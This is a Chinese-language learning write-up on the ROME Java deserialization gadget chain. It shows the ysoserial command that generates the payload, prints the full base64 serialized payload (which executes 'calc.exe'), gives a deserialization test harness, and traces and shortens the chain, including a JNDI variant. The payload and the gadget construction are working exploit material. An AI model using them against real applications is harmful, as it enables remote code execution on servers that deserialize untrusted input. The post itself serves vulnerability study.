ROME反序列化浅析
最后更新时间:
写在前面
Java Rome 反序列化学习,学习系统化吸收知识点的,记录过程
环境搭建
maven 依赖
1
2
3
4
5
6<!-- https://mvnrepository.com/artifact/rome/rome -->
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>加载ysoserial payload 并 base64 编码
1
java -jar ysoserial-all.jar ROME "calc.exe" | base64
得到4438长度的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz
aG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBs
Lk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGlj
YXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9z
eW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9z
dW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRp
Y2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVy
dGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5q
YXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+
AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxh
dGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5
dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGph
dmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRp
ZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAA
AAacyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25z
dGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs
ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5u
ZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0
UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h
bC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIv
U2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUv
eGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFj
aGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0
aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtM
Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20v
c3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRs
ZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9E
VE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVy
bmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdl
dHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJh
bnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1
bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9v
cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2Vy
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUH
ACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMu
ZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwA
MgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyNDEzODAzNjI2NDk0MTQB
AB9MeXNvc2VyaWFsL1B3bmVyNDEzODAzNjI2NDk0MTQ7ACEAAgADAAEABAABABoABQAGAAEABwAA
AAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAAB
AAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAAD
AAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAA
BAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwA
HQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYA
NVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAXAAAB1Mr+ur4A
AAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1
ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2Nh
bFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9w
YXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoA
CwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09i
amVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2Fk
Z2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUq
twABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEA
AgAWABAACXB0AARQd25ycHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1
YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29i
anEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+
ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jEC
AAJMAApfYmVhbkNsYXNzcQB+ABxMAARfb2JqcQB+AAl4cHEAfgAfcQB+ABRzcQB+ABt2cQB+AAJx
AH4ADXNxAH4AIHEAfgAjcQB+AA1xAH4ABnEAfgAGcQB+AAZ4测试 demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30public class Serialization {
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream arr = new ByteArrayOutputStream();
try {
ObjectOutputStream output = new ObjectOutputStream(arr);
output.writeObject(obj);
} catch (Exception e) {
e.printStackTrace();
}
return arr.toByteArray();
}
public static Object unserialize(byte[] arr) throws Exception {
Object obj = null;
try {
ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(arr));
obj = input.readObject();
}catch (Exception e) {
e.printStackTrace();
}
return obj;
}
public static void test(Object obj) throws Exception {
byte[] data = serialize(obj);
unserialize(data);
}
}1
2
3
4
5public static void main(String[] args) throws Exception {
String payload = "xxx";
byte[] code = Base64.getDecoder().decode(payload);
Serialization.unserialize(code);
}漏洞触发
漏洞分析
调用链如下
1
2
3
4
5
6
7
8
9
10
11
12* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)调用链调试
在
HashMap#readObject()
处下断点,根据以往的经验我们知道,这里会对HashMap中的key进行hash操作,注意参数类型这里是ObjectBean
跟入hash函数自然的会调用key对象的hashCode操作
在
ObjectBean#hashCode()
中,会进一步调用EqualsBean#beanHashCode()
跟入又反过来调用了
ObjectBean
的toString
方法进一步调用
ToStringBean#toString()
,这里会获得_obj
属性的全限定类名并截取最后一个点号之后的类名作为prefix,并在最后再次调用重载的toString方法
其中可以看到会先获取到_beanClass
的JavaBean实例并遍历调用getter方法,筛选出声明类型不是Object类型的,且无参数的反射触发。这便与我们的Templates调用链TemplatesImpl.getOutputProperties()
,其之后会进一步加载字节码并触发静态代码块
利用链构造
ysoserial payload设计
总体上分为四步:
ObjectBean的构造函数如下
EqualsBean的构造函数如下
其分别设置参数
_beanClass
和_obj
,另外两个类也是类似接着我们带着参数理一遍调用链
由于HashMap中的key为root参数,所以在调用key.hashCode时会去对应参数的方法
this._obj
就是构造root的时的第二个参数delegate
,因此触发ObjectBean.toString
这里的
_toStringBean
我们构造ToStringBean类_beanClass
为Templates.class和进一步封装的恶意Templates实例第一个调用的是ToStringBean类的无参toString方法,这里的
_obj
是delegate参数对应的恶意Templates实例进一步调用有参toString方法,这里的
_beanClass
注意是javax.xml.transform.Templates
类接口,后续前面已经说过
调用链缩短
先根据yso的逻辑实现自己实现一个
1 |
|
改造的思路主要是替换调用链当中一些处理麻烦的类方法
首先EqualsBean
类中的equals
方法可以看到最终也可以通过调用beanEquals
方法,最终触发到Templates
的getter方法,问题点就在如何触发到equals方法
这里需要先了解一下HashMap的hashCode方法,其会根据类型调用对应的hashCode
如果传入的是字符串,那么hashCode方法如下
对于两个元素得到等式
第一个元素如果比第二个元素小1,第二个元素就必须比第一个元素大31
因此对于字符串aa
和bB
来说,两者的hashCode是相同的。另一个关于hashMap的细节在于如果其中的元素大于1个,则在hashCode运算时会先调用父类的hashCode,也就是
AbstractMap#hashCode()
所以这里如果我们这样设置,那么两者是相等的
1 |
|
我们代入这个知识点再去看反序列化调用过程中的HashMap#putval(key)
方法,其中当两个key哈希相同时,会触发equals
方法,这里我们让它触发map的equals方法
进一步,如果map中元素大于1个,则会调用到父类AbstractMap
的equals方法,里面会触发value的equals方法,因此我们只需要将value设置成对应的EqualsBean实例即可
这里如此设置的原因一个是我们需要调用到EqualsBean对象,所以设置成value。然后让另一个map相同的key对应value设置为templates实例,主要是在后面会有是否是实例的判断
1 |
|
POC:
1 |
|
此时长度为
我们下一步需要改进的是yso的Gadgets.createTemplatesImpl("calc.exe")
这里主要就是利用到javassist直接操作class对象(找时间再补一下javassist基础),可以非常简洁的构造一个恶意class对象
1 |
|
最后再设置一下Templates实例对象各个属性即可
1 |
|
最后长度
其他新利用链
更换sinks
这里我们也可以不利用加载恶意字节码的方式,改换成JNDI注入的方式。将sinks函数更换为JdbcRowSetImpl.getDatabaseMetaData()
1 |
|
这里的长度目前超过了2000,如果想要缩减长度的话,就需要剔除JdbcRowSetImpl实例中无用的属性,但又不能影响到最终JNDI注入的执行
1 |
|
最终payload长度
二次反序列化的方式:
我们已经知道EqualsBean/ToStringBean
类最终可以触发到某个类的getter方法,那么一个思路就是继续触发getter方法中的原生反序列化方法,且内容可控
java.security.SignedObject
非常符合要求
看看参数是怎么流动的,在构造方法中,会将第一个参数进行序列化并以字节数组的方式存入content属性当中
但感觉这样肯定更复杂了,试了一下确实是,就不展开了
参考链接
https://exp10it.cn/2022/11/rome-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/
https://124.221.153.250/archives/721#ysoserial%E6%BA%90%E7%A0%81